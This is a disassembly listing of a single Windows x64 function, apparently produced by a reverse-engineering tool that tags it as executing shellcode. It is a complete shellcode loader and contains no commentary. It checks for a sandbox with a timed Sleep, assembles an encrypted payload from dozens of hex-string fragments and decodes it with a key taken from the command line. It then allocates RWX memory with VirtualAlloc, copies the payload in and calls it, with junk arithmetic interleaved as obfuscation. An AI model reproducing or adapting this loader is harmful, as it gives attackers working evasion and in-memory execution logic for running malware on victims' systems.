Function at 0x401893
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push rbp
push rdi
sub rsp, 0x648
lea rbp, [rsp + 0x80]
mov dword [rbp + 0x5e0], ecx
mov qword [rbp + 0x5e8], rdx
call fcn.004024a0
call sub.msvcrt.dll_clock
mov dword [rbp + 0x5bc], eax
mov eax, dword [0x00404010]
add eax, eax
mov dword [0x00404010], eax
mov ecx, 0x301
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
call sub.msvcrt.dll_clock
mov dword [rbp + 0x5b8], eax
mov eax, dword [0x00404010]
add eax, eax
mov dword [0x00404010], eax
mov ecx, 0x740
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x5b0], rax
mov eax, dword [0x00404010]
add eax, eax
mov dword [0x00404010], eax
mov eax, dword [rbp + 0x5b8]
sub eax, dword [rbp + 0x5bc]
cmp eax, 0x300
jle 0x4023bd
mov eax, dword [rbp + 0x5b8]
sub eax, dword [rbp + 0x5bc]
cmp eax, 0x364
jg 0x4023bd
mov eax, dword [0x00404010]
add eax, eax
mov dword [0x00404010], eax
lea rcx, str.cGcQpu
call sub.msvcrt.dll_printf
lea rax, str.98c83256c44f809c3275d87b74504008b1185d1041879100d8d918910cc03df4
mov qword [rbp + 0x5a8], rax
mov dword [0x00404010], 0
lea rax, str.ef7c2ca6705150ffc59009150f450e4c4c4444763403d38b4f0
mov qword [rbp + 0x5a0], rax
mov dword [0x00404010], 0
lea rax, str.036cda033674252d0aa2f6d438e04fb00c82120069b9a1eedd01918a51d05a4845f043308aa12c8aed64a9019a80
mov qword [rbp + 0x598], rax
mov edx, dword [0x00404010]
mov eax, dword [0x00404010]
imul eax, edx
mov dword [0x00404010], eax
lea rax, str.4124e07d48055b6430c8c41d494f657bd22624386c39a08e39bb10b8140820dd04184199
mov qword [rbp + 0x590], rax
mov eax, dword [0x00404010]
add eax, eax
mov dword [0x00404010], eax
lea rax, str.99211999fff85806726b10e0012320fb7de6c45b0a928008540506034d5446dc044550f88f0f648d62642253033590f758
mov qword [rbp + 0x588], rax
mov eax, dword [0x00404010]
add eax, eax
mov dword [0x00404010], eax
lea rax, str.b0454950a3b892
mov qword [rbp + 0x580], rax
mov edx, dword [0x00404010]
mov eax, dword [0x00404010]
imul eax, edx
mov dword [0x00404010], eax
lea rax, str.078180e10e19b122
mov qword [rbp + 0x578], rax
mov edx, dword [0x00404010]
mov eax, dword [0x00404010]
imul eax, edx
mov dword [0x00404010], eax
lea rax, str.a069ff74d701c89e4eac79cd529c24109806806e88c4044c56
mov qword [rbp + 0x570], rax
mov dword [0x00404010], 0
lea rax, str.550634b5d6008d0c4ca8
mov qword [rbp + 0x568], rax
mov dword [0x00404010], 0
lea rax, str.e8666553a3f7673ed2ed34b
mov qword [rbp + 0x560], rax
mov edx, dword [0x00404010]
mov eax, dword [0x00404010]
imul eax, edx
mov dword [0x00404010], eax
lea rax, str.a0855848b118880868aa5818118a0ea0f919f06c37451a07be948572
mov qword [rbp + 0x558], rax
mov eax, dword [0x00404010]
add eax, eax
mov dword [0x00404010], eax
lea rax, str.4311409801f47c5808ad4546745b4306094c0374c4a665242
mov qword [rbp + 0x550], rax
mov eax, dword [0x00404010]
add eax, eax
mov dword [0x00404010], eax
lea rax, str.66b8238b2c188b450e5c
mov qword [rbp + 0x548], rax
mov edx, dword [0x00404010]
mov eax, dword [0x00404010]
imul eax, edx
mov dword [0x00404010], eax
lea rax, str.000211014c5118d490118000695fdd44639f00ee0dd110e47030ee0302730e65448d34784850c
mov qword [rbp + 0x540], rax
mov edx, dword [0x00404010]
mov eax, dword [0x00404010]
imul eax, edx
mov dword [0x00404010], eax
lea rax, str.44543564c8867d9b1662343018d890f5b37af0e2fde082008b0b11b83
mov qword [rbp + 0x538], rax
mov dword [0x00404010], 0
lea rax, str.f01111123a575405b0e6adb5e4a4e4e51e9828e0050f580c5428858cd05ef435c6ccc07cd8
mov qword [rbp + 0x530], rax
mov eax, dword [0x00404010]
add eax, eax
mov dword [0x00404010], eax
lea rax, str.799d9477322303edfa5ad361bb0f0d7708b8cb201
mov qword [rbp + 0x528], rax
mov dword [0x00404010], 0
lea rax, str.19c1cf1809
mov qword [rbp + 0x520], rax
mov eax, dword [0x00404010]
add eax, eax
mov dword [0x00404010], eax
lea rax, str.a9030a0fcff6e2ff00e03d5791
mov qword [rbp + 0x518], rax
mov dword [0x00404010], 0
lea rax, str.9675a2c950f850f808025784c3442f544808886bff028404266332309fe1df50f2eba1db
mov qword [rbp + 0x510], rax
mov edx, dword [0x00404010]
mov eax, dword [0x00404010]
imul eax, edx
mov dword [0x00404010], eax
lea rax, str.4cf308f225b995800f6518384881fb1f258
mov qword [rbp + 0x508], rax
mov dword [0x00404010], 0
lea rax, str.95d1e1b29f057a163c86c205
mov qword [rbp + 0x500], rax
mov eax, dword [0x00404010]
add eax, eax
mov dword [0x00404010], eax
lea rax, str.185d904b0274c044d4f4db4445
mov qword [rbp + 0x4f8], rax
mov eax, dword [0x00404010]
add eax, eax
mov dword [0x00404010], eax
lea rax, str.484f70f248804723332b13580bc033d504488f3057c028fd8411f9faa1b2600f80f91fb0048b02393b5092d2f89688a33f
mov qword [rbp + 0x4f0], rax
mov dword [0x00404010], 0
lea rax, str.e0647801f4080548f35555c30f10f155652
mov qword [rbp + 0x4e8], rax
mov eax, dword [0x00404010]
add eax, eax
mov dword [0x00404010], eax
lea rax, str.632335d6fa6144c535fb9dccf202a1bb8814b82997a0192
mov qword [rbp + 0x4e0], rax
mov dword [0x00404010], 0
lea rax, str.930f60fb54
mov qword [rbp + 0x4d8], rax
mov edx, dword [0x00404010]
mov eax, dword [0x00404010]
imul eax, edx
mov dword [0x00404010], eax
lea rax, str.05a900eb5514dff12f113f13941f24d4640440244fee050474800f0efebdb736252259da3
mov qword [rbp + 0x4d0], rax
mov eax, dword [0x00404010]
add eax, eax
mov dword [0x00404010], eax
lea rax, str.f786fb41d458203311ac28461c08f266601b1800fdb298f53425440e10c441c568115038084
mov qword [rbp + 0x4c8], rax
mov edx, dword [0x00404010]
mov eax, dword [0x00404010]
imul eax, edx
mov dword [0x00404010], eax
lea rax, str.053433185c418e14270beb40042b811e5676473447b461a984cc94054843318dcc8b313c40bc790a5a504
mov qword [rbp + 0x4c0], rax
mov dword [0x00404010], 0
lea rax, str.da38522f5ec92f255c9f3eabd5d380315771443a474e
mov qword [rbp + 0x4b8], rax
mov dword [0x00404010], 0
lea rax, str.30405887a05ded403bee7fde766462444c0edb47d
mov qword [rbp + 0x4b0], rax
mov edx, dword [0x00404010]
mov eax, dword [0x00404010]
imul eax, edx
mov dword [0x00404010], eax
lea rax, str.36d344fc023161081008c9b889
mov qword [rbp + 0x4a8], rax
mov dword [0x00404010], 0
lea rax, str.c737fbf99119021ff255394fb0d34a47f894510890bee55cc082de40844f4f98f5f8bc4e0d264263567432328debadca
mov qword [rbp + 0x4a0], rax
mov eax, dword [0x00404010]
add eax, eax
mov dword [0x00404010], eax
lea rax, str.cc08878320191160101111a1af9965b919240d491d7bd4e9808d218070fd6909846195543d6407fd4554bde
mov qword [rbp + 0x498], rax
mov eax, dword [0x00404010]
add eax, eax
mov dword [0x00404010], eax
lea rax, str.9c23e4550049cc46246643875973a927afb0e4b63328
mov qword [rbp + 0x490], rax
mov eax, dword [0x00404010]
add eax, eax
mov dword [0x00404010], eax
lea rax, str.0950915fe0210f105573b7a3a760
mov qword [rbp + 0x488], rax
mov edx, dword [0x00404010]
mov eax, dword [0x00404010]
imul eax, edx
mov dword [0x00404010], eax
mov qword [rbp - 0x60], 0
mov qword [rbp - 0x58], 0
lea rdx, [rbp - 0x50]
mov eax, 0
mov ecx, 0x98
mov rdi, rdx
rep stosq qword [rdi], rax
mov rdx, rdi
mov dword [rdx], eax
add rdx, 4
mov word [rdx], ax
add rdx, 2
mov rdx, qword [rbp + 0x5a8]
mov rax, qword [rbp + 0x5b0]
mov rcx, rax
call sub.msvcrt.dll_strcpy
mov eax, dword [0x00404010]
add eax, eax
mov dword [0x00404010], eax
mov rdx, qword [rbp + 0x5a0]
mov rax, qword [rbp + 0x5b0]
mov rcx, rax
call sub.msvcrt.dll_strcat
mov eax, dword [0x00404010]
add eax, eax
mov dword [0x00404010], eax
mov rdx, qword [rbp + 0x598]
mov rax, qword [rbp + 0x5b0]
mov rcx, rax
call sub.msvcrt.dll_strcat
mov dword [0x00404010], 0
mov rdx, qword [rbp + 0x590]
mov rax, qword [rbp + 0x5b0]
mov rcx, rax
call sub.msvcrt.dll_strcat
mov edx, dword [0x00404010]
mov eax, dword [0x00404010]
imul eax, edx
mov dword [0x00404010], eax
mov rdx, qword [rbp + 0x588]
mov rax, qword [rbp + 0x5b0]
mov rcx, rax
call sub.msvcrt.dll_strcat
mov eax, dword [0x00404010]
add eax, eax
mov dword [0x00404010], eax
mov rdx, qword [rbp + 0x580]
mov rax, qword [rbp + 0x5b0]
mov rcx, rax
call sub.msvcrt.dll_strcat
mov eax, dword [0x00404010]
add eax, eax
mov dword [0x00404010], eax
mov rdx, qword [rbp + 0x578]
mov rax, qword [rbp + 0x5b0]
mov rcx, rax
call sub.msvcrt.dll_strcat
mov eax, dword [0x00404010]
add eax, eax
mov dword [0x00404010], eax
mov rdx, qword [rbp + 0x570]
mov rax, qword [rbp + 0x5b0]
mov rcx, rax
call sub.msvcrt.dll_strcat
mov eax, dword [0x00404010]
add eax, eax
mov dword [0x00404010], eax
mov rdx, qword [rbp + 0x568]
mov rax, qword [rbp + 0x5b0]
mov rcx, rax
call sub.msvcrt.dll_strcat
mov dword [0x00404010], 0
mov rdx, qword [rbp + 0x560]
mov rax, qword [rbp + 0x5b0]
mov rcx, rax
call sub.msvcrt.dll_strcat
mov edx, dword [0x00404010]
mov eax, dword [0x00404010]
imul eax, edx
mov dword [0x00404010], eax
mov rdx, qword [rbp + 0x558]
mov rax, qword [rbp + 0x5b0]
mov rcx, rax
call sub.msvcrt.dll_strcat
mov dword [0x00404010], 0
mov rdx, qword [rbp + 0x550]
mov rax, qword [rbp + 0x5b0]
mov rcx, rax
call sub.msvcrt.dll_strcat
mov eax, dword [0x00404010]
add eax, eax
mov dword [0x00404010], eax
mov rdx, qword [rbp + 0x548]
mov rax, qword [rbp + 0x5b0]
mov rcx, rax
call sub.msvcrt.dll_strcat
mov eax, dword [0x00404010]
add eax, eax
mov dword [0x00404010], eax
mov rdx, qword [rbp + 0x540]
mov rax, qword [rbp + 0x5b0]
mov rcx, rax
call sub.msvcrt.dll_strcat
mov dword [0x00404010], 0
mov rdx, qword [rbp + 0x538]
mov rax, qword [rbp + 0x5b0]
mov rcx, rax
call sub.msvcrt.dll_strcat
mov edx, dword [0x00404010]
mov eax, dword [0x00404010]
imul eax, edx
mov dword [0x00404010], eax
mov rdx, qword [rbp + 0x530]
mov rax, qword [rbp + 0x5b0]
mov rcx, rax
call sub.msvcrt.dll_strcat
mov edx, dword [0x00404010]
mov eax, dword [0x00404010]
imul eax, edx
mov dword [0x00404010], eax
mov rdx, qword [rbp + 0x528]
mov rax, qword [rbp + 0x5b0]
mov rcx, rax
call sub.msvcrt.dll_strcat
mov eax, dword [0x00404010]
add eax, eax
mov dword [0x00404010], eax
mov rdx, qword [rbp + 0x520]
mov rax, qword [rbp + 0x5b0]
mov rcx, rax
call sub.msvcrt.dll_strcat
mov edx, dword [0x00404010]
mov eax, dword [0x00404010]
imul eax, edx
mov dword [0x00404010], eax
mov rdx, qword [rbp + 0x518]
mov rax, qword [rbp + 0x5b0]
mov rcx, rax
call sub.msvcrt.dll_strcat
mov eax, dword [0x00404010]
add eax, eax
mov dword [0x00404010], eax
mov rdx, qword [rbp + 0x510]
mov rax, qword [rbp + 0x5b0]
mov rcx, rax
call sub.msvcrt.dll_strcat
mov edx, dword [0x00404010]
mov eax, dword [0x00404010]
imul eax, edx
mov dword [0x00404010], eax
mov rdx, qword [rbp + 0x508]
mov rax, qword [rbp + 0x5b0]
mov rcx, rax
call sub.msvcrt.dll_strcat
mov eax, dword [0x00404010]
add eax, eax
mov dword [0x00404010], eax
mov rdx, qword [rbp + 0x500]
mov rax, qword [rbp + 0x5b0]
mov rcx, rax
call sub.msvcrt.dll_strcat
mov edx, dword [0x00404010]
mov eax, dword [0x00404010]
imul eax, edx
mov dword [0x00404010], eax
mov rdx, qword [rbp + 0x4f8]
mov rax, qword [rbp + 0x5b0]
mov rcx, rax
call sub.msvcrt.dll_strcat
mov dword [0x00404010], 0
mov rdx, qword [rbp + 0x4f0]
mov rax, qword [rbp + 0x5b0]
mov rcx, rax
call sub.msvcrt.dll_strcat
mov eax, dword [0x00404010]
add eax, eax
mov dword [0x00404010], eax
mov rdx, qword [rbp + 0x4e8]
mov rax, qword [rbp + 0x5b0]
mov rcx, rax
call sub.msvcrt.dll_strcat
mov dword [0x00404010], 0
mov rdx, qword [rbp + 0x4e0]
mov rax, qword [rbp + 0x5b0]
mov rcx, rax
call sub.msvcrt.dll_strcat
mov eax, dword [0x00404010]
add eax, eax
mov dword [0x00404010], eax
mov rdx, qword [rbp + 0x4d8]
mov rax, qword [rbp + 0x5b0]
mov rcx, rax
call sub.msvcrt.dll_strcat
mov dword [0x00404010], 0
mov rdx, qword [rbp + 0x4d0]
mov rax, qword [rbp + 0x5b0]
mov rcx, rax
call sub.msvcrt.dll_strcat
mov eax, dword [0x00404010]
add eax, eax
mov dword [0x00404010], eax
mov rdx, qword [rbp + 0x4c8]
mov rax, qword [rbp + 0x5b0]
mov rcx, rax
call sub.msvcrt.dll_strcat
mov dword [0x00404010], 0
mov rdx, qword [rbp + 0x4c0]
mov rax, qword [rbp + 0x5b0]
mov rcx, rax
call sub.msvcrt.dll_strcat
mov eax, dword [0x00404010]
add eax, eax
mov dword [0x00404010], eax
mov rdx, qword [rbp + 0x4b8]
mov rax, qword [rbp + 0x5b0]
mov rcx, rax
call sub.msvcrt.dll_strcat
mov edx, dword [0x00404010]
mov eax, dword [0x00404010]
imul eax, edx
mov dword [0x00404010], eax
mov rdx, qword [rbp + 0x4b0]
mov rax, qword [rbp + 0x5b0]
mov rcx, rax
call sub.msvcrt.dll_strcat
mov eax, dword [0x00404010]
add eax, eax
mov dword [0x00404010], eax
mov rdx, qword [rbp + 0x4a8]
mov rax, qword [rbp + 0x5b0]
mov rcx, rax
call sub.msvcrt.dll_strcat
mov eax, dword [0x00404010]
add eax, eax
mov dword [0x00404010], eax
mov rdx, qword [rbp + 0x4a0]
mov rax, qword [rbp + 0x5b0]
mov rcx, rax
call sub.msvcrt.dll_strcat
mov dword [0x00404010], 0
mov rdx, qword [rbp + 0x498]
mov rax, qword [rbp + 0x5b0]
mov rcx, rax
call sub.msvcrt.dll_strcat
mov dword [0x00404010], 0
mov rdx, qword [rbp + 0x490]
mov rax, qword [rbp + 0x5b0]
mov rcx, rax
call sub.msvcrt.dll_strcat
mov edx, dword [0x00404010]
mov eax, dword [0x00404010]
imul eax, edx
mov dword [0x00404010], eax
mov rdx, qword [rbp + 0x488]
mov rax, qword [rbp + 0x5b0]
mov rcx, rax
call sub.msvcrt.dll_strcat
mov eax, dword [0x00404010]
add eax, eax
mov dword [0x00404010], eax
mov rax, qword [rbp + 0x5e8]
add rax, 8
mov rdx, qword [rax]
mov rax, qword [rbp + 0x5b0]
mov rcx, rax
call fcn.00401560
mov qword [rbp + 0x480], rax
mov edx, dword [0x00404010]
mov eax, dword [0x00404010]
imul eax, edx
mov dword [0x00404010], eax
mov rdx, qword [rbp + 0x480]
lea rax, [rbp - 0x60]
mov rcx, rax
call fcn.0040184a
mov dword [0x00404010], 0
mov r9d, 0x40
mov r8d, 0x3000
mov edx, 0x4d6
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_VirtualAlloc]
call rax
mov qword [rbp + 0x478], rax
lea rdx, [rbp - 0x60]
mov rax, qword [rbp + 0x478]
mov r8d, 0x4d6
mov rcx, rax
call sub.msvcrt.dll_memmove
mov rax, qword [rbp + 0x478]
call rax
mov edx, dword [0x00404010]
mov eax, dword [0x00404014]
add eax, edx
mov edx, eax
lea rcx, [0x004057d2]
call sub.msvcrt.dll_printf
jmp 0x4023d8
mov eax, dword [0x00404010]
add eax, eax
mov dword [0x00404010], eax
lea rcx, str.cGcQpu
call sub.msvcrt.dll_printf
nop
add rsp, 0x648
pop rdi
pop rbp
ret